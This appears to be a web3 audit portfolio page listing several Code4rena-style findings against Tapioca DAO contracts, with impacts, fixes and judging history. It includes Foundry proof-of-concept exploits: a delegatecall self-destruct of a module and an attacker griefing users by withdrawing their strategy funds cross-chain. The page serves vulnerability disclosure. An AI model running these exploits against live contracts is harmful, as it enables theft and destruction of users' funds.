import {Script, console} from "forge-std/Script.sol";

import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";

contract SelftDestructContract {
    function depositToYieldbox(
        uint256,
        uint256,
        uint256,
        IERC20,
        address,
        address 
    ) public {
        selfdestruct(payable(msg.sender));
    }
}

contract SelfDestructScript is Script {
    function run() public {
        // 1. run `anvil` in a separate terminal
        // 2. run `forge script script/SelfDestruct.s.sol:SelfDestructScript --rpc-url http://localhost:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 --broadcast`
        vm.startBroadcast();

        _moduleDelegateCall_SelfDestruct();
        //_verifySelfDestruct(0x5FbDB2315678afecb367f032d93F642f64180aa3); // comment the line above and run this one to verify the module was self destructed
    }

    function _moduleDelegateCall_SelfDestruct() internal {
        BaseTOFTStrategyModule strategyModule_ = new BaseTOFTStrategyModule(address(1), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid);

        console.log("strategy module address", address(strategyModule_));

        address selfdestructContract_ = address(new SelftDestructContract());

        bytes memory lzPayload_ = abi.encode(
            0,
            bytes32(uint256(uint160(0))),
            address(0),
            0,
            0,
            1,
            address(0)
        );

        strategyModule_.strategyDeposit(selfdestructContract_, 0, "", 0, lzPayload_, IERC20(address(0)));
    }

    function _verifySelfDestruct(address module_) internal view {
        require(module_.code.length == 0, "SelfDestruct did not work");
    }
}

Tools Used

Vscode, Foundry

Remove all the address module arguments from the modules and call directly the public function of the module if it is the same address, otherwise hardcode the address of the corresponding module.

Assessed type

call/delegatecall

#0 - c4-pre-sort

2023-08-05T11:18:58Z

minhquanym marked the issue as duplicate of #146

#1 - c4-judge

2023-09-13T10:24:29Z

dmvt marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0x73696d616f

Also found by: KIntern_NA, bin2chen

Labels

bug
3 (High Risk)
primary issue
selected for report
sponsor confirmed
edited-by-warden
H-29

Awards

907.51 USDC - $907.51

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L539-L545 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L153-L159

Vulnerability details

Impact

Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, but works in the source chain, where it debits the funds from users. Thus, these funds will not be credited in the destination and are forever lost.

Proof of Concept

In the BaseTOFT, if the packet from the received cross chain message in lzReceive() is of type PT_TAP_EXERCISE, it delegate calls to the BaseTOFTOptionsModule:

function _nonblockingLzReceive(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) internal virtual override {
    uint256 packetType = _payload.toUint256(0);
    ...
    } else if (packetType == PT_TAP_EXERCISE) {
        _executeOnDestination(
            Module.Options,
            abi.encodeWithSelector(
                BaseTOFTOptionsModule.exercise.selector,
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            ),
            _srcChainId,
            _srcAddress,
            _nonce,
            _payload
        );
    ...

In the BaseTOFTOptionsModule, the exercise() function is declared as:

function exercise(
    address module,
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) public {
    ...
}

Notice that the address module argument is specified in the exercise() function declaration, but not in the _nonBlockingLzReceive() call to it. This will make the message always revert because it fails when decoding the arguments to the function call, due to the extra address module argument.

The following POC illustrates this behaviour. The exerciseOption() cross chain message fails on the destination:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOptionsBrokerCrossChain} from "tapioca-periph/contracts/interfaces/ITapiocaOptionsBroker.sol";

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 internal constant PT_TAP_EXERCISE = 777;

    event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);

    function test_POC_ExerciseWrongArguments() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(address(3)),
            payable(optionsModule_)
        );

        address user_ = makeAddr("user");
        deal(user_, 2 ether);
        vm.prank(user_);
        tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);

        ITapiocaOptionsBrokerCrossChain.IExerciseOptionsData memory optionsData_; 
        ITapiocaOptionsBrokerCrossChain.IExerciseLZData memory lzData_;
        ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData_;
        ICommonData.IApproval[] memory approvals_;

        optionsData_.from = user_;
        optionsData_.target = user_;
        optionsData_.paymentTokenAmount = 1 ether;
        optionsData_.oTAPTokenID = 1;
        optionsData_.paymentToken = address(0);
        optionsData_.tapAmount = 1 ether;

        lzData_.lzDstChainId = 102;
        lzData_.zroPaymentAddress = address(0);
        lzData_.extraGas = 200_000;

        tapSendData_.withdrawOnAnotherChain = false;
        tapSendData_.tapOftAddress = address(0);
        tapSendData_.lzDstChainId = 102;
        tapSendData_.amount = 0;
        tapSendData_.zroPaymentAddress = address(0);
        tapSendData_.extraGas = 0;

        tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));

        vm.prank(user_);
        tapiocaOft_.exerciseOption{value: 1 ether}(
            optionsData_,
            lzData_,
            tapSendData_,
            approvals_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_TAP_EXERCISE,
            optionsData_,
            tapSendData_,
            approvals_
        );

        vm.prank(LZ_ENDPOINT);
        vm.expectEmit(true, true, true, true, address(tapiocaOft_));
        emit MessageFailed(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_, vm.parseBytes("0x4e487b710000000000000000000000000000000000000000000000000000000000000041"));
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
    }
}

Tools Used

Vscode, Foundry

Adding the extra module parameter when encoding the function call in _nonBlockingLzReceive() would be vulnerable to someone calling the BaseTOFTOptionsModule directly on function exercise() with a malicious module argument. It's safer to remove the module argument and call exerciseInternal() directly, which should work since it's a public function.

function _nonblockingLzReceive(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) internal virtual override {
    uint256 packetType = _payload.toUint256(0);
    ...
    } else if (packetType == PT_TAP_EXERCISE) {
        _executeOnDestination(
            Module.Options,
            abi.encodeWithSelector(
                BaseTOFTOptionsModule.exercise.selector,
                address(optionsModule), // here
                _srcChainId,
                _srcAddress,
                _nonce,
                _payload
            ),
            _srcChainId,
            _srcAddress,
            _nonce,
            _payload
        );
    ...

Assessed type

en/de-code

#0 - c4-pre-sort

2023-08-08T09:18:31Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-09-01T01:13:42Z

0xRektora (sponsor) confirmed

#2 - c4-judge

2023-09-29T18:04:18Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: carrotsmuggler

Also found by: 0x73696d616f, peakbolt, xuwinnie

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
duplicate-1032

Awards

471.2071 USDC - $471.21

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L256 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/BaseTOFT.sol#L467 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L89 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/tOFT/modules/BaseTOFTStrategyModule.sol#L188

Vulnerability details

Impact

Users can be griefed by an attacker by withdrawing from a strategy using the cross chain function retrieveFromStrategy() of (m)TapiocaOFT.

Proof of Concept

Function retrieveFromStrategy() of BaseTOFT, which is inherited by both mTapiocaOFT and TapiocaOFT, does not validate the from address whose funds will be withdrawn from a strategy of YieldBox on the destination chain, as shown below in the BaseTOFT _nonBlockingLzReceive() and BaseTOFTStrategyModule retrieveFromStrategy():

BaseTOFT

function _nonblockingLzReceive(
    uint16 _srcChainId,
    bytes memory _srcAddress,
    uint64 _nonce,
    bytes memory _payload
) internal virtual override {
    ...
    } else if (packetType == PT_YB_RETRIEVE_STRAT) {
        _executeOnDestination(
            Module.Strategy,
            abi.encodeWithSelector(
                BaseTOFTStrategyModule.strategyWithdraw.selector,
                _srcChainId,
                _payload // no validation
            ),
            _srcChainId,
            _srcAddress,
            _nonce,
            _payload
        );
    ....
}

BaseTOFTStrategyModule

function retrieveFromStrategy(
    address _from,
    uint256 amount,
    uint256 share,
    uint256 assetId,
    uint16 lzDstChainId,
    address zroPaymentAddress,
    bytes memory airdropAdapterParam
) external payable {
    require(amount > 0, "TOFT_0");

    bytes32 toAddress = LzLib.addressToBytes32(msg.sender);

    bytes memory lzPayload = abi.encode(
        PT_YB_RETRIEVE_STRAT,
        LzLib.addressToBytes32(_from), // no validation
        toAddress,
        amount,
        share,
        assetId,
        zroPaymentAddress
    );
    _lzSend(
        lzDstChainId,
        lzPayload,
        payable(msg.sender),
        zroPaymentAddress,
        airdropAdapterParam,
        msg.value
    );
    emit SendToChain(lzDstChainId, msg.sender, toAddress, amount);
}

Thus, attackers can withdraw funds on behalf of users, as long as they have approved the (m)Tapioca contract to withdraw their funds. Users are likely to have approved the (m)Tapioca contract as long as they have ever used cross chain functionalities related to YieldBox, such as retrieveFromStrategy().

The following POC in Foundry demonstrates how an attacker can withdraw funds from a strategy on behalf of a user:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import {Test, console} from "forge-std/Test.sol";

import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";

import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";

contract MockYieldBox is Test {
    address public tapiocaOFT;

    function withdraw(
        uint256,
        address,
        address _to,
        uint256 _amount,
        uint256
    ) external payable returns (uint256, uint256) {
        deal(tapiocaOFT, _to, _amount); // just deal tapiocaOft to the _to address
    }

    function setTapiocaOft(address tapiocaOFT_) external {
        tapiocaOFT = tapiocaOFT_;
    }
}

contract TapiocaOFTPOC is Test {
    address public constant LZ_ENDPOINT =
        0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
    uint16 public constant PT_YB_RETRIEVE_STRAT = 771;

    function test_POC_GriefAttackerRetrieveStrategy() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));

        address mockYieldBox_ = address(new MockYieldBox());

        TapiocaOFT tapiocaOft_ = new TapiocaOFT(
            LZ_ENDPOINT,
            address(0),
            IYieldBoxBase(mockYieldBox_),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(strategyModule_),
            payable(address(3)),
            payable(address(4))
        );
        MockYieldBox(mockYieldBox_).setTapiocaOft(address(tapiocaOft_));

        address attacker_ = makeAddr("attacker");
        deal(attacker_, 1 ether); // lz fees

        address user_ = makeAddr("user");
        address from_ = user_;
        uint256 amount_ = 1;
        uint256 share_ = 1;
        uint256 assetId_ = 1;
        uint16 lzDstChainId_ = 102;
        address zroPaymentAddress_ = address(0);
        bytes memory airdropAdapterParams_ = abi.encodePacked(uint16(1), uint256(200_000));

        tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));

        // attacker receivesFromStrategy of user, griefing the user's funds by sending them back to the user
        vm.prank(attacker_);
        tapiocaOft_.retrieveFromStrategy{value: 1 ether}(
            from_,
            amount_,
            share_,
            assetId_,
            lzDstChainId_,
            zroPaymentAddress_,
            airdropAdapterParams_
        );

        bytes memory lzPayload_ = abi.encode(
            PT_YB_RETRIEVE_STRAT,
            bytes32(uint256(uint160(from_))),
            attacker_, // does not matter, it is ignored in the `strategyWithdraw()` function
            amount_,
            share_,
            assetId_,
            zroPaymentAddress_
        );

        deal(address(tapiocaOft_), 1 ether); // required to pay lz fees when sending the toft back
        vm.prank(LZ_ENDPOINT);
        tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
    }
}

Tools Used

Vscode, Foundry

The from address should be the msg.sender. There are other options, but this one is the simplest and should work for most use cases (except smart contracts with different addresses among chains, but that should be handled separately).

Assessed type

Invalid Validation

#0 - c4-pre-sort

2023-08-08T09:24:33Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-08-24T20:18:49Z

0xRektora marked the issue as sponsor confirmed

#2 - c4-judge

2023-09-30T13:09:25Z

dmvt changed the severity to 3 (High Risk)

#3 - c4-judge

2023-09-30T13:09:55Z

dmvt marked the issue as duplicate of #1173

#4 - c4-judge

2023-09-30T13:10:01Z

dmvt marked the issue as satisfactory

Findings Information

🌟 Selected for report: 0x73696d616f

Also found by: cergyk, clash, dirk_y, ladboy233, peakbolt

Labels

bug
2 (Med Risk)
primary issue
selected for report
sponsor confirmed
edited-by-warden
M-58

Awards

99.2362 USDC - $99.24

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L204 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L288 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L322

Vulnerability details

Impact

The rebalance functionality of the Balancer will always revert.

Proof of Concept

The rebalance call uses the swapETH() function of the LayerZero RouterETH, if the erc of the mTapiocaOFT is ETH:

function _sendNative(
    address payable _oft,
    uint256 _amount,
    uint16 _dstChainId,
    uint256 _slippage
) private {
    if (address(this).balance < _amount) revert ExceedsBalance();

    routerETH.swapETH(
        _dstChainId,
        _oft, //refund
        abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft),
        _amount,
        _computeMinAmount(_amount, _slippage)
    );
}

The function swapETH() gets the ETH from the msg.value, such that if it is lower than the amount sent as argument it reverts, as can be seen on etherscan, file 1, line 48.

function swapETH(
    uint16 _dstChainId,                         // destination Stargate chainId
    address payable _refundAddress,             // refund additional messageFee to this address
    bytes calldata _toAddress,                  // the receiver of the destination ETH
    uint256 _amountLD,                          // the amount, in Local Decimals, to be swapped
    uint256 _minAmountLD                        // the minimum amount accepted out on destination
) external payable {
    require(msg.value > _amountLD, "Stargate: msg.value must be > _amountLD");
    ...

As a POC, forked mainnet and attempted to rebalance an mTapiocaOFT with ETH as the underlying asset in Foundry, proving that it reverts.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import { Test, console } from "forge-std/Test.sol";
import { mTapiocaOFT } from "contracts/tOFT/mTapiocaOFT.sol";
import { IYieldBoxBase } from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import { Balancer } from "contracts/Balancer.sol";

contract TapiocaOFTPOC is Test {
    address public constant ROUTER_ETH = 0x150f94B44927F078737562f0fcF3C95c01Cc2376;
    address public constant ROUTER = 0x8731d54E9D02c286767d56ac03e8037C07e01e98;

    function test_POC_Rebalancer_SwapETH_AlwaysReverts() public {
        vm.createSelectFork("https://eth.llamarpc.com");

        address owner_ = makeAddr("owner");

        vm.startPrank(owner_);

        mTapiocaOFT mTapiocaOft_ = new mTapiocaOFT(
            address(1),
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(address(3)),
            payable(address(4))
        );

        // most of these values do not matter for this POC
        // only the srcOft_ must be the created mTapiocaOft_ above
        uint16 srcChainID = 1;
        uint16 dstChainID = 2;
        address srcOft_ = address(mTapiocaOft_);
        address dstOft_ = srcOft_;
        bytes memory ercData_ = abi.encode(uint256(1), uint256(1));
        uint256 slippage_ = 1e3;
        uint16 srcChainID_ = 1;
        uint16 dstChainID_ = 2;

        mTapiocaOft_.setTrustedRemoteAddress(dstChainID_, abi.encodePacked(dstOft_));
        
        deal(address(mTapiocaOft_), 1 ether); // need ether to rebalance
        deal(owner_, 1 ether + 1); // the rebalance call requires sending more than the amount to rebalance in the call

        Balancer balancer_ = new Balancer(ROUTER_ETH, ROUTER, owner_);

        balancer_.initConnectedOFT(srcOft_, dstChainID_, dstOft_, ercData_);
        balancer_.addRebalanceAmount(srcOft_, dstChainID_, 1 ether);

        mTapiocaOft_.updateBalancerState(address(balancer_), true);

        vm.expectRevert("Stargate: msg.value must be > _amountLD");
        balancer_.rebalance{value: 1 ether + 1}(payable(srcOft_), dstChainID_, slippage_, 1 ether, ercData_);
    }
}

For erc20s, the swap() function of the Router is called, and not fee is forwarded as msg.value:

function _sendToken(
    address payable _oft,
    uint256 _amount,
    uint16 _dstChainId,
    uint256 _slippage,
    bytes memory _data
) private {
    ...
    erc20.approve(address(router), _amount);
    router.swap(
        _dstChainId,
        _srcPoolId,
        _dstPoolId,
        _oft, //refund,
        _amount,
        _computeMinAmount(_amount, _slippage),
        _lzTxParams,
        _lzTxParams.dstNativeAddr,
        "0x"
    );
}

It can be read here, the fee must also be forwarded as { value: xxxx }.

Tools Used

Vscode, Foundry, Etherscan

Forward the ETH value + message fee in the swapETH() call to the RouterETH. This fee should be fetched from function quoteLayerZeroFee() in the Stargate Router. For erc20, forward only the message fee in sendToken().

function _sendNative(
    address payable _oft,
    uint256 _amount,
    uint16 _dstChainId,
    uint256 _slippage,
    uint256 _fee // new fee argument required by the router
) private {
    if (address(this).balance < _amount) revert ExceedsBalance();

    routerETH.swapETH{value: _amount + _fee}(
        _dstChainId,
        _oft, //refund
        abi.encodePacked(connectedOFTs[_oft][_dstChainId].dstOft),
        _amount,
        _computeMinAmount(_amount, _slippage)
    );
}

...

function _sendToken(
    address payable _oft,
    uint256 _amount,
    uint16 _dstChainId,
    uint256 _slippage,
    bytes memory _data,
    uint256 _fee,
) private {
    ...
    erc20.approve(address(router), _amount);
    router.swap{value: _fee}(
        _dstChainId,
        _srcPoolId,
        _dstPoolId,
        _oft, //refund,
        _amount,
        _computeMinAmount(_amount, _slippage),
        _lzTxParams,
        _lzTxParams.dstNativeAddr,
        "0x"
    );
} 

Assessed type

Error

#0 - c4-pre-sort

2023-08-07T10:05:40Z

minhquanym marked the issue as primary issue

#1 - c4-sponsor

2023-08-22T17:16:40Z

0xRektora marked the issue as sponsor confirmed

#2 - c4-judge

2023-09-29T18:37:10Z

dmvt marked the issue as selected for report

Findings Information

🌟 Selected for report: dirk_y

Also found by: 0x73696d616f, rvierdiiev

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
edited-by-warden
duplicate-334

Awards

209.4254 USDC - $209.43

External Links

Lines of code

https://github.com/Tapioca-DAO/tapiocaz-audit/blob/bcf61f79464cfdc0484aa272f9f6e28d5de36a8f/contracts/Balancer.sol#L203

Vulnerability details

Impact

When rebalancing in the Balancer, the ETH should be fetched from the mTapiocaOFT via extractUnderlying() and not from the msg.value. The msg.value should only contain the message fee to forward to the Router, but the code reverts if it is smaller than the amount to rebalance, having to send extra amount as msg.value, which can't be recovered.

Proof of Concept

In the Balancer, rebalance() function, it retrieves an _amount of ETH from mTapiocaOFT,

ITapiocaOFT(_srcOft).extractUnderlying(_amount);

However, it reverts if the msg.value is not bigger than the _amount to rebalance.

if (msg.value <= _amount) revert FeeAmountNotSet();

Thus, the actual _amount gathered is twice the amount needed, and only half of it is sent to the Router and rebalanced. The remaining is lost forever in the Balancer contract.

The following POC written in Foundry proves it:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;

import { Test, console } from "forge-std/Test.sol";
import { mTapiocaOFT } from "contracts/tOFT/mTapiocaOFT.sol";
import { IYieldBoxBase } from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import { Balancer } from "contracts/Balancer.sol";

contract MockRouter {
    function swapETH(
        uint16 _dstChainId,                         // destination Stargate chainId
        address payable _refundAddress,             // refund additional messageFee to this address
        bytes calldata _toAddress,                  // the receiver of the destination ETH
        uint256 _amountLD,                          // the amount, in Local Decimals, to be swapped
        uint256 _minAmountLD                        // the minimum amount accepted out on destination
    ) external payable {}
}

contract TapiocaOFTPOC is Test {
    function test_POC_Rebalancer_SwapETH_LostETH() public {
        address owner_ = makeAddr("owner");

        vm.startPrank(owner_);

        mTapiocaOFT mTapiocaOft_ = new mTapiocaOFT(
            address(1),
            address(0),
            IYieldBoxBase(address(3)),
            "SomeName",
            "SomeSymbol",
            18,
            block.chainid,
            payable(address(1)),
            payable(address(2)),
            payable(address(3)),
            payable(address(4))
        );

        // most of these values do not matter for this POC
        // only the srcOft_ must be the created mTapiocaOft_ above
        uint16 srcChainID = 1;
        uint16 dstChainID = 2;
        address srcOft_ = address(mTapiocaOft_);
        address dstOft_ = srcOft_;
        bytes memory ercData_ = abi.encode(uint256(1), uint256(1));
        uint256 slippage_ = 1e3;
        uint16 srcChainID_ = 1;
        uint16 dstChainID_ = 2;

        mTapiocaOft_.setTrustedRemoteAddress(dstChainID_, abi.encodePacked(dstOft_));
        
        deal(address(mTapiocaOft_), 1 ether); // need ether to rebalance
        deal(owner_, 1 ether + 1); // the rebalance call requires sending more than the amount to rebalance in the call

        address mockRouter_ = address(new MockRouter());

        Balancer balancer_ = new Balancer(mockRouter_, mockRouter_, owner_);

        balancer_.initConnectedOFT(srcOft_, dstChainID_, dstOft_, ercData_);
        balancer_.addRebalanceAmount(srcOft_, dstChainID_, 1 ether);

        mTapiocaOft_.updateBalancerState(address(balancer_), true);

        balancer_.rebalance{value: 1 ether + 1}(payable(srcOft_), dstChainID_, slippage_, 1 ether, ercData_);

        assertEq(address(balancer_).balance, 2 ether + 1); // double the amount + fee. Should be only the amount, but `swapETH()` does not forward ETH, it's another vulnerability
    }
}

Tools Used

Vscode, Foundry

The fee could be fetched from the Router directly using router.quoteLayerZeroFee() (using a mixture of solidity and javascript for reference) and requiring that it equals msg.value:

uint256 fee = router.quoteLayerZeroFee(
    dstChainId,                 // destination chainId
    functionType,               // function type: see Bridge.sol for all types
    toAddress,                  // destination of tokens
    "0x",                       // payload, using abi.encode()
    ({
        dstGasForCall: 0,       // extra gas, if calling smart contract,
        dstNativeAmount: 0,     // amount of dust dropped in destination wallet 
        dstNativeAddr: taskArgs.dstNativeAddr // destination wallet for dust
    })
require(msg.value == fee);

Alternatively, it can be computed off chain and skip the require.

Assessed type

Error

#0 - c4-pre-sort

2023-08-07T10:17:18Z

minhquanym marked the issue as duplicate of #334

#1 - c4-judge

2023-09-21T12:22:29Z

dmvt changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-09-21T12:25:17Z

dmvt marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter